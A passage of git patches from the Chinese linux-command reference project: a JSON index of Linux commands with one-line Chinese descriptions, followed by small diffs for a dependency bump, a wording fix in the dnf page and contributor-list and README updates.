"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkcert":{"n":"mkcert","p":"/mkcert","d":"用来生成自签证书的工具"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"neofetch":{"n":"neofetch","p":"/neofetch","d":"显示带有发行徽标的系统信息的工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"调整程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pidstat":{"n":"pidstat","p":"/pidstat","d":"监控进程的系统资源占用情况"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smartmontools":{"n":"smartmontools","p":"/smartmontools","d":"Smartmontools 是一种硬盘检测工具，通过控制和管理硬盘的SMART（Self Monitoring Analysis and Reporting Technology，自动检测分析及报告技术）技术来实现的"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xrandr":{"n":"xrandr","p":"/xrandr","d":"X 窗口系统配置管理工具"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file diff --git a/package.json b/package.json index 242fbe5bd2b..3de75a15717 100644 --- a/package.json +++ b/package.json @@ -27,7 +27,7 @@ "devDependencies": { "@uiw/github-corners": "~1.5.11", "@wcj/dark-mode": "~1.0.14", - "colors-cli": "~1.0.28", + "colors-cli": "~1.0.31", "ejs": "~3.1.6", "compressing": "^1.6.2", "fs-extra": "~10.1.0", diff --git a/scripts/build.mjs b/scripts/build.mjs index 35ef657e1cd..97071f08cc9 100644 --- a/scripts/build.mjs +++ b/scripts/build.mjs @@ -4,7 +4,7 @@ import stylus from 'stylus'; import * as ejs from 'ejs'; import UglifyJS from 'uglify-js'; import { create } from 'markdown-to-html-cli'; -import _ from 'colors-cli/toxic.js'; +import _ from 'colors-cli/toxic'; const deployDir = path.resolve(process.cwd(), '.deploy'); const faviconPath = path.resolve(process.cwd(), 'template', 'img', 'favicon.ico'); From 3655c5f00db672356811ebef2c5e3a343250e6ab Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BE=90=E4=BC=9F?= Date: Sat, 11 Mar 2023 17:56:31 +0800 Subject: [PATCH 0652/1019] doc: Update command/dnf.md (#478) --- command/dnf.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/command/dnf.md b/command/dnf.md index c016b383caf..b2b5cb0b71f 100644 --- a/command/dnf.md +++ b/command/dnf.md @@ -7,9 +7,9 @@ dnf **DNF** 是新一代的rpm软件包管理器。他首先出现在 Fedora 18 这个发行版中。而最近，它取代了yum，正式成为 Fedora 22 的包管理器。 -DNF包管理器克服了YUM包管理器的一些瓶颈，提升了包括用户体验，内存占用，依赖分析，运行速度等多方面的内容。DNF使用 RPM, libsolv 和 hawkey 库进行包管理操作。尽管它没有预装在 CentOS 和 RHEL 7 中，但你可以在使用 YUM 的同时使用 DNF 。你可以在这里获得关于 DNF 的更多知识：《 DNF 代替 YUM ，你所不知道的缘由》 +DNF包管理器克服了YUM包管理器的一些瓶颈，提升了包括用户体验，内存占用，依赖分析，运行速度等多方面的内容。DNF使用 RPM, libsolv 和 hawkey 库进行包管理操作。尽管它没有预装在 CentOS 和 RHEL 7 中，但你可以在使用 YUM 的同时使用 DNF 。 -DNF 的最新稳定发行版版本号是 1.0，发行日期是2015年5月11日。 这一版本的额 DNF 包管理器（包括在他之前的所有版本） 都大部分采用 Python 编写，发行许可为GPL v2. +DNF 的最新稳定发行版版本号是 1.0，发行日期是2015年5月11日。 这一版本的 DNF 包管理器（包括在他之前的所有版本） 都大部分采用 Python 编写，发行许可为GPL v2. ### 安装 DNF 包管理器 From c198e7d52985ad954503369a674f8923079d2417 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 11 Mar 2023 09:57:08 +0000 Subject: [PATCH 0653/1019] doc: update README.md. --- README.md | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index fe1ceda4c60..605c35b82f7 100644 --- a/README.md +++ b/README.md @@ -649,8 +649,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey - - sunls24 + + sliux tangke @@ -694,6 +694,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 尘埃 + + 徐伟 + Loofra From 9ef569a8679f4403c1c5e66783baeb6c7bb8cc1c Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 11 Mar 2023 09:57:08 +0000 Subject: [PATCH 0654/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 30844553b9c..21ca8fa6a55 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -312,8 +312,8 @@ snovey - - sunls24 + + sliux tangke @@ -357,6 +357,9 @@ 尘埃 + + 徐伟 + Loofra From 16ee10d617cbdcfd498b8c7cefa58fcf89856145 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 14 Mar 2023 12:33:11 +0800 Subject: [PATCH 0655/1019] doc: Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 605c35b82f7..acfe62217a4 100644 --- a/README.md +++ b/README.md @@ -13,7 +13,7 @@ [![jsdelivr cdn](https://data.jsdelivr.com/v1/package/npm/linux-command/badge)](https://www.jsdelivr.com/package/npm/linux-command) [![Docker Image Size (latest by date)](https://img.shields.io/docker/image-size/wcjiang/linux-command?logo=docker)](https://hub.docker.com/r/wcjiang/linux-command) -当前仓库搜集了 570 多个 Linux 命令，是一个非盈利性的仓库，生成了一个 web 网站方便使用，目前网站没有任何广告，内容包含 Linux 命令手册、详解、学习，内容来自网络和网友的补充，非常值得收藏的 Linux 命令速查手册。版权归属原作者，对任何法律问题及风险不承担任何责任，没有任何商业目的，如果认为侵犯了您的版权，请来信告知。我不能完全保证内容的正确性。通过使用本站内容带来的风险与我无关。当使用本站时，代表您已接受了本站的使用条款和隐私条款。 +当前仓库搜集了 580 多个 Linux 命令，是一个非盈利性的仓库，生成了一个 web 网站方便使用，目前网站没有任何广告，内容包含 Linux 命令手册、详解、学习，内容来自网络和网友的补充，非常值得收藏的 Linux 命令速查手册。版权归属原作者，对任何法律问题及风险不承担任何责任，没有任何商业目的，如果认为侵犯了您的版权，请来信告知。我不能完全保证内容的正确性。通过使用本站内容带来的风险与我无关。当使用本站时，代表您已接受了本站的使用条款和隐私条款。 [Web](#web-版本) | [微信小程序](#微信小程序版本) | [Dash](#dash-版本) | [Raycast](#raycast-版本) | [Alfred](#alfred-版本) | [KDE/Krunner](https://github.com/roachsinai/krunner-linuxcommands) | 